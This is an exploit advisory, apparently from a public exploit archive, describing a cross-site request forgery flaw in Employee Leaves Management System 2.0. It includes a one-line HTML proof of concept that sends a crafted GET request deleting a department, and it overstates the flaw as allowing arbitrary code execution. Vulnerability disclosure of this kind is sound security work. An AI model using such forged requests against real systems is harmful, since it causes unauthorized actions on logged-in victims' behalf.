Employee Leaves Management System 2.0 Cross Site Request Forgery

Employee Leaves Management System version 2.0 suffers from a cross site request forgery vulnerability.

MD5 | 2ae268dfb5b02477de0b12594fff1310

# Exploit Title: Employee Leaves Management System 2.0 Cross-Site Request
# Date: 22-01-2020
# Author: Priyanka Samak
# Vendor Homepage: https://phpgurukul.com/
# Software Link:
# Software: Employee Leaves Management System
# Version : 2.0
# Tested on Windows 10
# Vulnerability Type: Cross-Site Request Forgery
#Cross-site Request Forgery is an attack whereby an attacker tricks a
victim into performing actions on their behalf.
#*1. Description*
#The vulnerability exists due to failure in the "/managedepartments.php"
script to properly verify the source of HTTP request.
#This Cross-Site Request Forgery (CSRF) allows an attacker to execute
arbitrary code by sending a malicious request to a logged-in user.
#*2. Proof of Concept:* This example sends HTTP GET crafted request in
order to delete the specified department.
<button class="button"><a href="
http://localhost/elms/admin/managedepartments.php?del=6">Click Me!</button>

Related Posts